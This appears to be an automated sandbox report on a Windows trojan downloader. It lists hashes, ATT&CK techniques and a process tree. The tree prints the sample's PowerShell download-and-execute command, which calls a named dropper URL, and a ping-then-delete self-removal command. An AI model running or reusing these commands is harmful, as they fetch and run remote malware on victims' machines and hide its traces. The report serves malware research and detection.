c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf

Analysis

max time kernel
134s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
13-10-2023 21:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe
Size

247KB
MD5

f17afa21e88b7a362db5ae8fdfa43de9
SHA1

14b024dfe1f9aa6eb88bc7e2215e4877c92cc01e
SHA256

c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf
SHA512

efbdcd1c0fb91cb15de2935ed500fb0f9a8b3ef1491e9823850e97451348cd3a170bc0ad3c84086438508f7280f100a33ff8299a7de64093129b2d7ea83b8e0d
SSDEEP

3072:98iTSP3d1hp5xnAs03vx54qylRs8crPGjl5mS3qI79TPJvLCw8DSmfNKgAiNNrc4:90zl37r79h2DSm1SgAOmhzN+

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://aszfiltration.com/storage/files/debug2.ps1

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

29 4408 powershell.exe

flow	pid	process
29	4408	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Control Panel\International\Geo\Nation	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

4932 PING.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4408 powershell.exe
4408 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4408 powershell.exe

pid	process
4932	PING.EXE

pid	process
4408	powershell.exe
4408	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4408	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.execmd.execmd.exe

description	pid	process	target process
PID 4344 wrote to memory of 1868	4344	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	cmd.exe
PID 4344 wrote to memory of 1868	4344	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	cmd.exe
PID 1868 wrote to memory of 4408	1868	cmd.exe	powershell.exe
PID 1868 wrote to memory of 4408	1868	cmd.exe	powershell.exe
PID 4344 wrote to memory of 4588	4344	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	cmd.exe
PID 4344 wrote to memory of 4588	4344	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	cmd.exe
PID 4344 wrote to memory of 4588	4344	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	cmd.exe
PID 4588 wrote to memory of 4932	4588	cmd.exe	PING.EXE
PID 4588 wrote to memory of 4932	4588	cmd.exe	PING.EXE
PID 4588 wrote to memory of 4932	4588	cmd.exe	PING.EXE

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4344

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://aszfiltration.com/storage/files/debug2.ps1')"
2⤵
- Suspicious use of WriteProcessMemory
PID:1868

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command IEX(New-Object Net.Webclient).DownloadString('https://aszfiltration.com/storage/files/debug2.ps1')
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4408

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe" >> NUL
2⤵
- Suspicious use of WriteProcessMemory
PID:4588

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
3⤵
- Runs ping.exe
PID:4932

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Remote System Discovery

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oxjt5mlg.rzz.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4408-0-0x0000014C6FC10000-0x0000014C6FC32000-memory.dmp

Filesize
136KB

Download
memory/4408-10-0x00007FFA56C80000-0x00007FFA57741000-memory.dmp

Filesize
10.8MB

Download
memory/4408-11-0x0000014C6FC50000-0x0000014C6FC60000-memory.dmp

Filesize
64KB

Download
memory/4408-12-0x0000014C6FC50000-0x0000014C6FC60000-memory.dmp

Filesize
64KB

Download
memory/4408-13-0x0000014C6FC50000-0x0000014C6FC60000-memory.dmp

Filesize
64KB

Download
memory/4408-22-0x00007FFA56C80000-0x00007FFA57741000-memory.dmp

Filesize
10.8MB

Download